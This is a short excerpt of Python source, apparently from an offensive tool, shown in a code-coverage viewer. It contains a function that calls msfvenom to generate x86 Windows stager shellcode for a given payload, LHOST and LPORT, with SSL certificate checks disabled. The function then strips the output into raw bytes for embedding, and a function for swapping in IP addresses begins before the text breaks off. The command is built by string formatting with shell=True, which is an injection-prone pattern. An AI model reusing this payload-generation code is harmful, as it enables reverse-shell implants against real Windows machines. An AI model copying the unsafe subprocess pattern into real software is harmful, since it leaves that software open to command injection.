(payload, ipaddr, port)
| 1539 | |
| 1540 | # generate base shellcode |
| 1541 | def generate_shellcode(payload, ipaddr, port): |
| 1542 | msf_path = meta_path() |
| 1543 | # generate payload |
| 1544 | port = port.replace("LPORT=", "") |
| 1545 | proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s StagerURILength=5 StagerVerifySSLCert=false -a x86 --platform windows --smallest -f c" % (msf_path, payload, ipaddr, port), stdout=subprocess.PIPE, shell=True) |
| 1546 | data = proc.communicate()[0] |
| 1547 | data = data.decode('ascii') |
| 1548 | # start to format this a bit to get it ready |
| 1549 | repls = [';', ' ', '+', '"', '\n', 'unsigned char buf=', |
| 1550 | 'unsignedcharbuf[]=', "b'", "'", '\\n'] |
| 1551 | for repl in repls: |
| 1552 | data = data.replace(repl, "") |
| 1553 | return data |
| 1554 | |
| 1555 | # this will take input for shellcode and do a replace for IP addresses |
| 1556 | def shellcode_replace(ipaddr, port, shellcode): |
no test coverage detected